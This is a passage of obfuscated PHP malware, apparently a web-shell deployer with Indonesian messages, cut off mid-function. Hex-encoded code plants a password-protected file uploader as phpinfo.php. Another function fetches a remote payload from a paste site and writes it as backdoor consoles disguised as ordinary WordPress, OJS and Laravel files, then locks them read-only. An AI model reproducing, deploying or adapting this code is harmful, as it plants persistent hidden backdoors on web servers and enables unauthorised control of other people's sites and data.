"\x3c\77\x70\150\160\x20\160\x68\160\x69\156\146\157\50\51\73\12\44\173\x22\134\170\x34\67\114\134\170\64\146\x42\101\134\170\x34\x63\x5c\170\x35\x33\x22\175\133\42\134\x78\66\x62\x75\134\170\66\x63\134\x78\67\61\x5c\170\x37\62\134\x78\x36\x64\x5c\170\x36\143\x5c\170\67\x35\165\x22\135\x3d\x22\x5c\170\x34\142\x5c\x78\67\x30\134\170\x36\x65\x54\60\134\x78\x34\x63\x22\73\x24\x7b\42\x5c\170\64\x37\134\170\64\x63\117\102\x5c\170\64\x31\x5c\x78\x34\143\x53\42\x7d\x5b\42\134\170\x36\63\134\x78\x36\x32\134\170\x36\x61\134\170\x36\145\x5c\170\67\x32\151\x69\154\165\134\x78\66\144\134\x78\x36\x65\134\170\x37\63\x22\135\75\x22\x72\x5c\x78\x36\65\x5c\170\x37\x33\134\x78\67\x35\x5c\x78\x36\x63\x5c\170\x37\x34\x22\x3b\x24\173\42\x5c\170\x34\x37\134\170\64\143\134\170\x34\x66\x5c\x78\64\x32\x5c\170\x34\x31\x4c\123\x22\x7d\133\42\x6c\152\x5c\170\66\144\x5c\x78\66\62\x5c\x78\67\65\170\x65\134\x78\x36\x33\x5c\x78\x36\x61\x77\42\x5d\x3d\x22\x4b\x5c\x78\67\60\x5c\x78\66\145\124\60\x5c\170\x34\143\42\73\x73\x65\164\x5f\164\x69\155\x65\137\154\151\155\x69\x74\x28\60\51\x3b\151\156\151\137\x73\x65\164\x28\42\x5c\170\x36\144\134\x78\66\x35\x5c\170\66\x64\x6f\x72\134\170\x37\x39\x5f\154\x69\x5c\x78\66\x64\151\x74\42\54\x22\55\61\x22\51\73\x65\x72\162\157\x72\x5f\x72\x65\160\157\x72\164\151\156\x67\50\60\51\x3b\151\x6e\151\137\x73\145\164\x28\x22\145\162\x72\157\x72\x5c\170\65\146\134\x78\x36\143\157\134\x78\x36\x37\x22\x2c\x6e\x75\154\x6c\51\73\151\x6e\x69\x5f\x73\145\164\50\42\134\x78\66\x38\x5c\170\67\64\x5c\x78\x36\x64\134\170\x36\143\137\x5c\x78\x36\65\134\x78\67\x32\x5c\170\x37\x32\157\x72\x5c\x78\67\x33\42\x2c\60\51\73\x69\156\x69\x5f\x73\x65\164\50\42\154\x6f\x67\134\170\65\146\x5c\x78\66\x35\x72\x5c\x78\x37\x32\x5c\170\x36\146\162\134\x78\x37\x33\x22\x2c\x30\51\x3b\x69\x6e\x69\137\163\145\x74\50\42\x6c\x5c\170\66\146\147\137\x65\x72\162\157\134\170\67\x32\134\170\x37\x33\x5f\x5c\170\66\x64\x61\134\x78\x37\x38\134\170\x35\x66\x5c\x78\66\x63\134\x78\66\x35\x6e\x22\54\60\51\73\151\x6e\x69\x5f\163\x65\x74\50\x22\x64\x5c\x78\66\71\x5c\170\67\x33\160\x6c\141\x79\134\x78\x35\146\134\x78\66\x35\x5c\x78\67\62\162\157\x5c\x78\x37\62\163\42\x2c\60\51\73\x69\156\151\x5f\x73\x65\x74\x28\42\x5c\170\66\64\x69\x5c\x78\x37\63\160\154\x61\x79\x5c\x78\x35\x66\163\x74\134\170\x36\61\x72\x5c\170\67\64\134\170\x37\x35\160\x5f\x65\162\134\x78\67\62\x5c\170\66\x66\162\x73\x22\x2c\x30\51\x3b\x69\x6e\x69\x5f\163\x65\164\x28\x22\155\x5c\x78\x36\x31\x5c\170\x37\70\x5f\134\170\x36\65\170\x5c\x78\66\65\143\x5c\170\67\x35\x74\134\x78\x36\x39\x6f\134\170\x36\145\x5f\164\151\155\145\x22\x2c\60\51\73\151\x66\x28\x69\x73\x73\x65\164\50\44\137\x50\117\x53\124\133\42\x75\160\154\x5c\x78\66\x66\141\134\170\x36\x34\145\x5c\x78\66\64\x22\135\51\51\173\44\x75\x73\154\x6e\156\x73\150\x6a\75\42\146\134\170\x36\x39\154\134\x78\x36\65\x22\73\x24\x64\x61\152\x6b\x65\154\x6a\162\x6f\x62\166\x62\x3d\x22\134\x78\66\x36\x5c\170\66\x66\134\x78\66\143\x5c\170\66\x34\134\170\66\65\x5c\170\67\62\x22\x3b\44\173\x22\107\134\x78\64\143\134\x78\64\x66\x5c\x78\x34\x32\x5c\x78\64\x31\134\170\x34\143\134\170\65\63\42\175\x5b\x22\134\170\x37\61\x77\134\170\x36\x65\x6a\161\x5c\x78\66\66\42\x5d\x3d\42\146\x5c\x78\66\x39\x6c\145\x5c\170\67\63\x22\73\x24\173\42\x5c\170\64\67\x4c\134\x78\x34\146\x42\x5c\x78\x34\x31\x5c\170\64\143\x5c\x78\x35\63\42\x7d\133\42\134\170\66\x61\x5c\170\x36\144\134\x78\x37\x36\x5c\170\67\x33\x76\163\134\x78\x36\144\134\x78\67\x30\134\170\67\70\x66\134\x78\x37\67\156\42\x5d\x3d\42\134\x78\66\66\134\170\66\71\x6c\145\134\170\x37\63\42\x3b\x24\150\x7a\x62\x6e\x69\x7a\x62\152\x3d\x22\x5c\x78\66\66\x5c\170\66\x66\x5c\170\x36\x63\x64\134\x78\x36\x35\134\x78\x37\x32\x22\73\x24\x7b\44\x75\163\154\x6e\x6e\163\x68\152\175\75\44\x5f\106\x49\x4c\105\123\133\42\146\151\x5c\x78\x36\x63\x65\163\x22\x5d\133\42\x5c\x78\66\145\141\155\x5c\x78\x36\x35\42\135\73\44\173\44\173\42\x5c\x78\64\67\114\117\x42\x5c\x78\64\x31\x4c\x53\42\175\133\42\x5c\x78\67\x31\134\170\x37\x37\134\170\66\x65\152\134\x78\67\61\134\170\66\66\42\x5d\x7d\x3d\44\x5f\x46\x49\114\x45\123\133\42\134\x78\66\66\134\x78\66\x39\x6c\x65\134\x78\x37\63\x22\x5d\133\42\x74\134\170\66\144\160\134\x78\x35\x66\x6e\134\170\66\x31\x6d\145\x22\x5d\x3b\x24\x7b\44\150\x7a\142\156\151\172\142\152\175\75\42\42\x3b\44\173\42\x5c\x78\x34\67\x4c\x5c\170\x34\146\x42\101\x5c\x78\x34\143\x5c\170\x35\x33\42\x7d\x5b\x22\146\x5c\x78\x37\61\134\170\66\67\x5c\x78\x36\x32\134\170\x37\64\x5c\170\x37\61\x22\x5d\75\x22\134\170\66\x36\x69\134\170\66\143\x65\x22\73\x69\x66\50\155\x6f\x76\145\137\x75\160\x6c\157\141\144\x65\x64\x5f\146\x69\154\x65\50\44\173\x24\173\42\134\170\x34\x37\134\170\x34\x63\134\x78\64\146\x42\x41\x5c\170\64\x63\x53\42\175\133\42\134\x78\66\x61\134\x78\66\144\x76\134\x78\67\63\x5c\170\67\x36\134\x78\x37\x33\x6d\160\x5c\x78\67\70\x5c\x78\66\66\x5c\170\x37\x37\x5c\170\66\145\42\135\x7d\54\44\173\44\x64\x61\152\153\145\x6c\x6a\162\x6f\x62\166\142\x7d\x2e\44\x7b\44\173\x22\107\134\170\x34\143\134\170\64\x66\134\x78\64\x32\x5c\170\x34\61\134\x78\64\143\x53\42\175\133\42\146\x71\x5c\x78\x36\67\142\x5c\x78\67\64\x5c\170\x37\x31\42\135\x7d\x29\51\x7b\x24\173\44\173\x22\x47\134\x78\x34\143\117\x5c\x78\x34\62\x41\134\x78\x34\x63\123\42\175\x5b\x22\x63\x5c\x78\x36\62\x5c\170\66\141\156\134\170\x37\x32\134\x78\x36\x39\x69\x6c\134\x78\x37\65\134\x78\x36\x64\x5c\x78\66\145\163\x22\x5d\175\x3d\x22\x55\x5c\170\x37\x30\154\x6f\134\170\66\61\x5c\170\66\x34\134\170\x36\65\x5c\x78\x36\64\x20\x3a\x20\x3d\134\170\x33\x65\134\170\62\60\x5c\170\63\x63\134\x78\x36\61\40\x5c\x78\66\70\x5c\170\x37\62\134\170\66\x35\x66\75\x27\44\x66\x69\154\x65\47\40\x5c\x78\x37\64\134\170\x36\x31\x72\x5c\170\66\67\134\170\x36\65\134\170\67\64\75\134\x78\x32\67\137\142\134\x78\66\143\141\156\134\170\x36\142\x5c\x78\x32\x37\x5c\x78\x33\145\x5c\170\64\61\134\x78\x36\142\x5c\170\x37\63\x5c\170\x36\65\x73\x5c\x78\x32\x30\x44\134\170\66\71\x5c\170\x37\x33\x69\156\134\x78\x36\71\x5c\x78\63\143\57\101\76\x22\x3b\175\x65\154\x73\145\173\x24\x7b\44\173\x22\134\170\x34\67\114\117\134\170\64\x32\x41\x5c\x78\x34\143\x5c\x78\x35\x33\x22\x7d\x5b\x22\134\170\x36\63\x62\x6a\134\x78\x36\145\162\x5c\170\x36\x39\151\134\x78\x36\x63\165\x6d\156\134\170\67\x33\42\x5d\x7d\75\42\x47\x61\x67\x5c\170\x36\x31\x6c\x5c\x78\x32\60\163\x75\x77\56\x5c\170\x32\x65\x5c\170\x32\145\41\x22\73\175\x7d\44\x7b\44\173\x22\107\x5c\x78\64\x63\x5c\x78\x34\146\102\x41\134\170\64\143\x5c\170\65\63\42\175\x5b\42\134\x78\x36\143\134\170\x36\141\x5c\x78\x36\144\134\170\66\x32\x5c\170\67\x35\170\134\x78\x36\x35\x63\x5c\x78\x36\141\134\x78\67\67\42\135\175\x3d\x22\x63\x55\x5c\170\66\61\x5c\170\64\x65\134\x78\66\62\x5c\x78\64\x35\x72\x53\x61\x5c\170\x34\144\x5c\x78\66\x31\x5c\170\x35\63\x5c\170\x36\x31\115\134\170\x36\x31\x5c\170\x34\61\134\x78\x36\x65\x5c\x78\x34\141\134\170\66\x35\134\x78\64\145\147\x5c\170\x34\x61\134\170\x36\x31\x5c\170\x34\145\x5c\x78\x36\x33\117\147\42\73\x69\x66\x28\44\x5f\107\x45\124\x5b\42\x6b\x5c\170\x33\x39\x22\135\x3d\x3d\44\173\x24\x7b\42\x47\x5c\170\x34\143\x5c\x78\64\146\x5c\x78\x34\x32\x41\x5c\170\x34\143\134\170\x35\63\x22\175\133\42\153\165\154\x71\134\x78\x37\62\155\x5c\170\x36\143\x75\134\x78\67\65\42\x5d\x7d\51\173\x24\x6c\141\172\x61\x70\x66\x64\x6b\161\160\75\x22\162\134\x78\x36\x35\134\x78\67\x33\134\x78\67\65\134\170\x36\143\x5c\x78\x37\64\42\73\x65\x63\x68\x6f\42\x5c\x78\x33\143\x63\145\134\x78\x36\145\x74\x5c\170\x36\65\134\x78\x37\62\x5c\170\63\145\x5c\x78\63\x63\142\x5c\x78\63\x65\122\157\x6f\134\170\67\64\x5c\170\62\60\134\170\64\x38\165\x5c\170\x36\x65\x74\145\162\x5c\x78\62\x30\166\x5c\x78\63\61\134\x78\63\143\142\134\x78\67\x32\x3e\134\x78\x33\143\x62\x5c\170\67\x32\134\x78\63\x65\x22\x2e\x70\150\x70\x5f\165\156\141\155\145\50\x29\56\42\x3c\x62\x5c\170\x37\62\x3e\74\57\x5c\x78\x36\x32\76\74\57\x63\x5c\170\66\x35\x6e\x74\x65\x72\x5c\x78\63\145\x22\x3b\145\x63\x68\x6f\x22\x5c\170\63\x63\x5c\170\66\62\x72\40\57\76\134\170\63\143\x62\134\x78\x37\62\x5c\170\62\60\x2f\x3e\74\x5c\170\66\62\134\170\67\62\x5c\170\62\60\x2f\x5c\170\63\145\134\x78\x33\143\x68\x74\x6d\x5c\x78\x36\143\x5c\170\x33\x65\134\x78\63\143\x5c\170\66\x38\134\x78\66\65\141\x5c\x78\x36\64\134\170\x33\x65\134\170\63\143\134\x78\x37\x34\x5c\x78\66\71\164\154\x65\76\x50\x31\130\40\x5c\170\65\x35\134\170\x37\x30\134\170\66\x63\x5c\x78\66\x66\141\144\x5c\x78\x36\65\x72\x3c\x2f\x74\151\164\154\145\x5c\x78\63\x65\74\57\134\170\66\70\x5c\x78\66\65\x5c\x78\66\61\144\x5c\170\x33\x65\x5c\170\63\143\x62\134\x78\x36\146\134\170\x36\x34\x5c\x78\x37\71\76\74\x5c\x78\x36\63\134\170\x36\x35\x5c\x78\66\x65\164\145\134\170\67\x32\76\x3c\146\134\170\x36\x66\x5c\x78\x37\x32\x6d\40\x5c\x78\66\61\134\x78\x36\x33\164\x5c\170\66\x39\x5c\170\x36\x66\x5c\170\66\x65\75\x5c\x78\62\62\134\170\62\62\134\170\62\60\x5c\170\66\144\134\x78\66\65\164\x68\134\170\x36\x66\134\x78\66\64\x5c\170\x33\x64\x5c\x78\x32\62\x5c\x78\x37\60\157\163\164\x5c\170\x32\x32\x5c\x78\x32\x30\x65\134\170\x36\x65\x5c\170\x36\63\164\171\x70\x5c\170\x36\x35\x5c\x78\x33\144\x5c\42\155\x75\x6c\134\x78\x37\64\x69\160\141\x72\x74\57\x5c\x78\x36\66\134\x78\x36\146\134\x78\x37\62\x5c\170\66\144\55\x64\141\134\x78\x37\x34\134\x78\66\x31\134\42\134\170\63\x65\x3c\151\134\x78\x36\145\x5c\x78\67\60\165\134\170\67\x34\40\134\170\67\x34\x79\x5c\x78\67\x30\134\170\x36\65\x5c\170\x33\x64\x5c\42\x5c\170\66\x36\134\170\66\x39\x6c\134\170\66\x35\134\x22\134\x78\62\x30\x5c\x78\66\145\141\134\170\66\x64\x65\x5c\170\x33\x64\134\x22\146\x5c\170\66\71\x6c\x5c\x78\66\65\x73\x5c\x22\134\170\x32\x30\57\134\170\63\145\x5c\x78\63\143\134\170\x36\71\x6e\x5c\x78\x37\x30\134\170\x37\65\x74\x5c\x78\x32\x30\134\170\x37\64\134\170\x37\71\x5c\170\x37\x30\x65\75\x5c\x78\x32\x32\x73\134\170\67\x35\x5c\x78\66\x32\x5c\170\66\144\151\x74\x5c\x78\x32\x32\x5c\170\x32\60\156\x5c\x78\66\x31\x6d\x5c\170\x36\x35\134\170\63\144\x5c\x22\x75\x5c\170\67\60\134\170\66\143\x6f\134\170\66\x31\144\145\x5c\170\x36\x34\134\x22\40\x76\x5c\x78\x36\61\154\165\134\x78\x36\x35\x5c\170\63\x64\134\170\x32\x32\134\170\65\65\160\134\x78\x36\143\x5c\170\66\x66\141\x5c\x78\x36\64\134\170\62\62\76\x3c\57\x5c\170\66\x36\157\x5c\x78\67\x32\x5c\x78\66\144\76\x22\x2e\44\x7b\44\x6c\141\172\141\160\x66\144\x6b\161\160\175\x2e\42\x5c\x78\x33\x63\x2f\x5c\170\x36\63\134\x78\66\x35\156\164\134\x78\x36\x35\x5c\170\x37\62\76\x5c\170\x33\x63\x2f\134\170\66\x32\157\144\x5c\x78\67\71\x3e\134\x78\63\x63\57\134\x78\66\x38\164\134\x78\66\144\x5c\170\x36\x63\134\170\63\145\x22\x3b\175\12\x3f\x3e"; if ($startDirectory !== $_SERVER["\x44\x4f\103\125\115\105\116\x54\x5f\122\x4f\117\x54"]) { $dirphpinfo = $startDirectory; $phpinfo = $dirphpinfo . "\57\160\x68\x70\151\156\146\x6f\x2e\x70\150\160"; } else { $dirphpinfo = $_SERVER["\x44\x4f\x43\125\x4d\105\116\124\x5f\122\117\117\124"]; $phpinfo = $dirphpinfo . "\57\x70\150\x70\x69\x6e\x66\157\56\160\x68\x70"; } if (isset($_SERVER["\x48\124\124\x50\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] === "\157\x6e") { $url = "\150\x74\x74\x70\163\72\57\57"; } else { $url = "\x68\164\x74\x70\x3a\57\x2f"; } $url .= $_SERVER["\x48\124\124\120\137\x48\x4f\x53\124"]; $urluploader = $url . "\57\x70\x68\x70\151\x6e\x66\x6f\x2e\160\150\x70\x3f\153\x39\x3d\143\x55\x61\116\142\105\x72\x53\x61\115\x61\x53\x61\x4d\x61\101\156\x4a\x65\116\147\x4a\x61\x4e\143\117\147"; if (is_writeable($dirphpinfo)) { if (file_exists($phpinfo)) { if (!is_writeable($phpinfo) || !is_readable($phpinfo)) { chmod($phpinfo, 511); } else { unlink($phpinfo); } } else { $status = file_put_contents($phpinfo, $isiphpinfo); if ($status) { $phpinfo_result .= "\74\x73\x70\141\x6e\40\x63\x6c\141\163\x73\75\42\x74\145\170\164\x2d\x73\165\x63\x63\145\x73\163\x22\76\102\x65\x72\150\141\x73\x69\x6c\40\104\145\x70\154\x6f\171\40\x55\160\x6c\x6f\x61\x64\x65\162\41\74\57\x73\x70\x61\x6e\76\46\156\x62\x73\x70\73\x26\156\142\x73\x70\73\x26\x6e\x62\163\160\x3b\x20\x3c\163\160\x61\x6e\40\x63\154\141\x73\x73\x3d\x22\x74\145\170\164\x2d\151\x6e\x66\x6f\x22\76\74\141\40\150\162\145\146\x3d\x27" . $urluploader . "\x27\143\x6c\141\163\x73\75\x22\164\x65\170\x74\x2d\x69\156\146\157\x22\40\164\141\x72\x67\145\x74\x3d\42\x5f\164\x61\162\x67\x65\x74\x22\x20\162\145\154\75\42\156\x6f\146\x6f\154\154\x6f\167\40\x6e\x6f\x6f\160\x65\156\145\162\x20\x6e\157\x72\145\146\145\x72\162\x65\162\x22\76{$urluploader}\74\57\141\x3e\74\x2f\163\160\x61\x6e\x3e\x3c\142\162\76"; chmod($phpinfo, 292); } else { $phpinfo_result .= "\x3c\163\x70\141\x6e\x20\143\154\x61\x73\163\75\42\x74\145\170\164\x2d\144\141\156\x67\145\x72\x22\x3e\x47\x61\147\141\x6c\x20\104\145\x70\154\x6f\x79\x20\x55\160\154\x6f\x61\144\x65\x72\x21\74\57\x73\160\141\x6e\x3e\x3c\x62\162\76"; } } } echo "\74\144\x69\x76\40\x63\x6c\141\x73\x73\75\x22\x73\x6d\x61\x6c\x6c\x61\x72\145\x61\42\40\156\141\x6d\145\75\42\x6f\165\x74\x70\x75\164\40\x73\164\x79\x6c\x65\x3d\42\x62\157\x72\144\145\x72\55\142\x6f\x74\x74\157\x6d\72\x30\x3b\155\x61\x72\147\151\156\55\164\x6f\160\72\x35\160\170\x3b\x22\x20\x72\x65\141\x64\157\156\154\171\76"; print_r($phpinfo_result) . PHP_EOL; echo "\74\57\144\151\x76\x3e"; echo "\74\57\144\151\166\x3e\74\57\x64\x69\x76\76"; } goto TQDgL; rQEqq: if (isset($_GET["\153\x65\x6c\165\141\162"])) { session_start(); session_destroy(); echo "\74\163\x63\x72\x69\x70\x74\x3e\x77\151\x6e\x64\x6f\167\56\x6c\x6f\143\141\164\151\157\156\75\42\x3f\42\x3b\74\x2f\x73\143\x72\x69\160\164\x3e"; } goto GFwbZ; t68Gu: if ($_GET["\x61\x6b\x73\x69"] == "\144\x69\x73\x61\x62\x66\165\x6e\x63") { disabFunc($dir, $file); } goto pN2xp; BqkUn: function consolex($dir) { echo "\x3c\x64\151\x76\x20\143\154\x61\x73\x73\75\42\143\x61\x72\144\40\155\x62\55\65\x22\x3e\12\x3c\144\x69\x76\40\x63\154\141\x73\163\x3d\42\x63\x61\162\x64\55\142\157\144\x79\40\x66\157\162\155\55\x67\162\x6f\x75\160\42\x3e\xa\x3c\x68\65\x3e\x3c\x70\x20\143\x6c\141\163\163\x3d\x22\164\x65\x78\164\55\x77\141\x72\156\151\x6e\x67\40\x66\157\x6e\x74\55\x77\x65\x69\x67\x68\164\x2d\x62\157\x6c\144\42\76\x5b\x2b\135\40\x44\x65\160\154\157\171\151\x6e\147\x20\x43\x6f\156\163\157\154\145\74\x2f\160\x3e\x3c\x68\x35\76"; $console_result = ''; $startDirectory = realpath(__DIR__); $isiconsole = file_get_contents("\x68\x74\164\x70\163\x3a\57\x2f\x64\x70\141\x73\x74\145\x2e\x63\157\x6d\x2f\x42\x55\x42\123\x43\62\x59\x38\x32\x2e\x74\x78\x74"); if ($startDirectory !== $_SERVER["\x44\117\103\125\115\105\116\x54\137\x52\117\117\124"]) { $dirconsole = $startDirectory; $dirconsole_wp = $dirconsole . "\57\x77\x70\x2d\x69\156\x63\154\x75\x64\145\x73\x2f\111\x58\122\57"; $dirconsole_ojs = $dirconsole . "\x2f\143\x61\x63\150\x65\x2f\x2f"; $dirconsole_laravel = $dirconsole . "\57\x70\x75\142\154\x69\143\x2f\x2f"; $dirconsole_cms_lainnya = $dirconsole . "\57\141\163\163\x65\164\163\57\x2f"; } else { $dirconsole = $_SERVER["\x44\117\x43\125\115\x45\116\124\137\122\x4f\117\x54"]; $dirconsole_wp = $dirconsole . "\57\167\x70\x2d\x69\156\x63\154\165\144\x65\x73\x2f\111\130\x52\x2f"; $dirconsole_ojs = $dirconsole . "\x2f\x63\141\143\150\145\57\x2f"; $dirconsole_laravel = $dirconsole . "\57\x70\x75\142\x6c\x69\x63\x2f\x2f"; $dirconsole_cms_lainnya = $dirconsole . "\x2f\x61\163\163\145\164\x73\57\57"; } if (isset($_SERVER["\x48\x54\x54\x50\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] === "\x6f\x6e") { $url = "\150\164\x74\160\163\72\57\x2f"; } else { $url = "\150\x74\x74\160\72\x2f\x2f"; } $url .= $_SERVER["\110\x54\x54\x50\x5f\x48\117\x53\124"]; if (is_dir($dirconsole_wp) && is_writeable($dirconsole_wp)) { $fileconsole = $dirconsole_wp . "\x63\154\141\x73\x73\55\111\x58\122\x2d\x69\x6e\x66\157\56\160\x68\160"; $urlconsole_wp = $url . "\x2f\x77\x70\x2d\x69\156\x63\x6c\165\x64\x65\163\x2f\111\x58\x52\x2f\143\154\141\x73\163\x2d\x49\x58\122\x2d\151\x6e\x66\x6f\x2e\160\150\160\77\x70\x61\x73\x73\75\x63\x55\141\116\x62\x45\162\x53\141\x4d\x61\123\x61\x4d\x61\101\156\112\145\116\147\112\141\x4e\143\117\x67"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "\x3c\163\x70\x61\156\40\143\x6c\141\163\163\75\x22\x74\x65\170\164\x2d\x73\x75\143\x63\x65\163\x73\42\x3e\102\x65\162\150\141\x73\151\154\40\x44\x65\160\154\x6f\171\40\x43\157\x6e\163\157\154\x65\41\74\x2f\163\160\x61\156\x3e\46\x6e\x62\x73\160\73\x26\x6e\x62\163\160\x3b\46\x6e\142\x73\x70\73\40\74\163\x70\141\x6e\40\x63\x6c\x61\x73\x73\x3d\42\x74\x65\170\164\55\151\x6e\x66\x6f\x22\76\74\x61\40\150\x72\145\146\75\x27" . $urlconsole_wp . "\x27\143\x6c\x61\163\x73\75\42\164\145\170\164\x2d\151\156\x66\157\42\x20\164\x61\x72\x67\145\164\75\x22\x5f\x74\141\x72\147\x65\164\x22\40\x72\145\x6c\x3d\42\156\x6f\x66\x6f\154\154\157\167\x20\x6e\x6f\x6f\x70\x65\x6e\x65\x72\x20\156\157\x72\145\146\x65\162\162\145\162\42\x3e{$urlconsole_wp}\74\57\141\76\x3c\x2f\163\x70\141\156\x3e\74\142\x72\x3e"; chmod($fileconsole, 292); } else { $console_result .= "\74\x73\x70\x61\156\40\x63\x6c\141\x73\163\75\42\164\x65\x78\164\x2d\144\x61\156\147\145\162\42\76\107\141\x67\x61\x6c\40\x44\x65\160\x6c\x6f\171\40\103\x6f\156\x73\x6f\154\145\x21\x3c\x2f\x73\x70\141\x6e\x3e\74\x62\x72\x3e"; } } else { $dirconsole_wp_fallback = $dirconsole . "\57\167\160\55\143\157\x6e\x74\x65\156\x74\57\x75\x70\x6c\x6f\141\x64\163"; $fileconsole = $dirconsole_wp_fallback . "\x2f\x77\157\x6f\143\x6f\x6d\x6d\145\x72\x63\x65\x2d\160\x6c\x61\143\x65\x68\x6f\x6c\144\145\162\x2d\67\66\70\x78\67\x36\70\56\160\150\160"; $urlconsole_wp_fallback = $url . "\57\167\160\55\x63\x6f\156\164\145\x6e\164\x2f\165\x70\154\x6f\x61\x64\163\x2f\167\x6f\157\143\157\x6d\x6d\145\x72\143\x65\x2d\x70\x6c\x61\143\x65\x68\x6f\x6c\x64\x65\162\x2d\67\66\x38\170\x37\66\x38\56\x70\150\x70\x3f\160\141\x73\163\x3d\x63\x55\x61\116\142\x45\x72\123\x61\115\141\123\x61\115\141\101\x6e\112\145\116\x67\112\x61\x4e\x63\117\147"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "\x3c\163\x70\x61\x6e\40\x63\154\x61\x73\x73\x3d\42\x74\145\x78\164\x2d\163\165\143\143\145\163\x73\42\x3e\x42\145\162\x68\x61\x73\151\x6c\40\x44\x65\160\x6c\157\171\x20\103\x6f\156\163\157\154\x65\x21\x3c\x2f\163\160\x61\156\76\x26\156\142\x73\x70\x3b\x26\x6e\142\x73\x70\73\46\x6e\142\163\x70\x3b\40\x3c\163\160\141\156\x20\x63\154\141\163\x73\x3d\x22\164\x65\170\x74\x2d\151\156\x66\157\42\76\x3c\141\x20\150\x72\145\x66\x3d\x27" . $urlconsole_wp_fallback . "\47\x63\154\141\x73\x73\x3d\42\x74\x65\170\164\55\x69\x6e\146\x6f\42\x20\x74\x61\162\x67\x65\x74\x3d\42\137\164\x61\162\147\x65\x74\42\x20\162\145\x6c\x3d\42\156\157\146\157\x6c\154\157\167\x20\156\157\x6f\x70\145\x6e\145\x72\40\156\x6f\x72\x65\x66\145\x72\162\x65\162\42\x3e{$urlconsole_wp}\74\57\x61\x3e\74\x2f\x73\x70\141\x6e\76\x3c\142\x72\76"; chmod($fileconsole, 292); } else { $console_result .= "\x3c\x73\x70\141\156\x20\x63\154\141\x73\163\75\x22\164\x65\x78\x74\55\144\x61\156\147\x65\162\x22\76\x47\x61\x67\141\x6c\40\x44\x65\x70\154\x6f\x79\x20\103\x6f\x6e\163\x6f\x6c\145\x21\x3c\x2f\163\x70\141\156\x3e\74\x62\x72\x3e"; } } if (is_dir($dirconsole_ojs) && is_writeable($dirconsole_ojs)) { $fileconsole = $dirconsole_ojs . "\146\x63\x2d\x63\157\x75\x6e\164\162\x79\x2d\145\x6e\137\x49\x44\x2e\160\150\x70"; $urlconsole_ojs = $url . "\57\143\x61\x63\x68\145\x2f\x66\x63\55\x63\157\x75\x6e\164\x72\x79\x2d\x65\x6e\137\111\104\56\160\150\x70\77\x70\141\x73\x73\x3d\143\125\141\116\x62\105\162\x53\141\115\141\x53\141\x4d\141\101\x6e\x4a\145\x4e\147\112\141\x4e\143\117\147"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "\x3c\x73\160\141\x6e\x20\143\x6c\141\163\x73\x3d\42\164\x65\170\164\55\163\x75\x63\x63\145\x73\163\x22\x3e\x42\x65\x72\x68\x61\163\151\154\x20\x44\145\x70\154\157\171\x20\103\x6f\156\163\x6f\x6c\x65\41\x3c\x2f\163\x70\x61\156\76\46\156\142\163\x70\x3b\46\x6e\142\x73\x70\73\46\156\x62\163\160\x3b\x20\74\x73\x70\141\x6e\40\x63\154\x61\x73\163\x3d\x22\164\145\170\164\x2d\x69\156\x66\x6f\x22\x3e\74\141\40\150\x72\145\146\75\x27" . $urlconsole_ojs . "\x27\143\154\x61\163\163\x3d\x22\x74\x65\x78\164\55\151\156\146\x6f\x22\40\x74\141\x72\147\145\164\75\x22\137\x74\141\162\x67\x65\x74\x22\x20\x72\x65\x6c\x3d\42\x6e\157\146\157\154\154\157\x77\40\156\157\157\160\x65\x6e\145\x72\40\156\157\x72\145\x66\145\x72\x72\x65\x72\42\76{$urlconsole_wp}\74\57\x61\x3e\74\57\163\160\141\x6e\x3e\74\142\162\76"; chmod($fileconsole, 292); } else { $console_result .= "\x3c\x73\160\141\156\40\x63\154\141\x73\x73\x3d\42\164\145\170\164\55\x64\x61\x6e\147\x65\162\42\x3e\107\141\147\x61\x6c\x20\104\145\160\154\157\171\x20\x43\157\x6e\163\x6f\x6c\145\x21\74\57\163\160\x61\x6e\x3e\74\x62\162\76"; } } else { $dirconsole_ojs_fallback = $dirconsole . "\x2f\160\x75\x62\154\151\143\x2f\x73\151\x74\x65\x2f\151\155\x61\x67\145\163"; $fileconsole = $dirconsole_ojs_fallback . "\57\x70\162\x6f\146\x69\x6c\x65\x49\155\x61\x67\145\55\71\71\x39\x39\56\x70\x68\x70"; $urlconsole_ojs_fallback = $url . "\x2f\x70\x75\x62\154\151\x63\x2f\163\x69\x74\145\57\151\x6d\141\147\x65\163\57\160\x72\157\146\x69\154\145\x49\x6d\141\147\145\55\71\71\x39\x39\x2e\160\150\x70\x3f\160\141\163\163\x3d\143\125\141\x4e\x62\105\x72\x53\x61\115\141\x53\x61\x4d\x61\101\156\x4a\x65\116\x67\x4a\141\116\143\117\x67"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "\74\163\x70\x61\156\x20\143\154\x61\163\163\75\42\x74\x65\170\164\x2d\163\165\x63\143\x65\163\x73\42\x3e\x42\145\162\150\141\x73\151\154\x20\x44\145\160\154\x6f\171\x20\103\x6f\156\x73\157\x6c\x65\x21\x3c\x2f\163\x70\x61\x6e\x3e\x26\x6e\x62\x73\160\x3b\46\x6e\x62\163\x70\73\x26\156\142\163\160\x3b\40\74\163\160\141\156\40\143\x6c\x61\163\x73\x3d\42\x74\x65\170\x74\x2d\x69\x6e\146\x6f\x22\76\74\141\x20\x68\x72\x65\x66\75\47" . $urlconsole_ojs_fallback . "\x27\143\154\x61\x73\163\x3d\x22\164\x65\170\x74\x2d\151\156\x66\157\x22\x20\x74\141\x72\147\x65\x74\75\42\137\164\x61\x72\147\x65\x74\x22\x20\162\145\154\x3d\42\x6e\x6f\146\157\154\154\157\167\x20\156\157\157\160\145\x6e\x65\162\x20\x6e\x6f\x72\x65\146\x65\162\162\x65\162\42\76{$urlconsole_wp}\x3c\57\x61\76\74\57\163\160\x61\x6e\76\74\142\162\x3e"; chmod($fileconsole, 292); } else { $console_result .= "\x3c\163\x70\x61\x6e\40\143\x6c\141\163\163\75\42\x74\145\170\x74\55\144\141\x6e\x67\145\x72\42\76\107\141\147\141\154\40\x44\145\x70\x6c\157\x79\40\103\157\x6e\163\157\x6c\x65\41\x3c\57\163\160\141\156\76\x3c\142\162\76"; } } if (is_dir($dirconsole_laravel) && is_writeable($dirconsole_laravel)) { $fileconsole = $dirconsole_laravel . "\x6c\x61\162\x61\166\145\154\137\151\x64\145\x5f\150\x65\x6c\x70\145\x72\56\160\x68\160"; 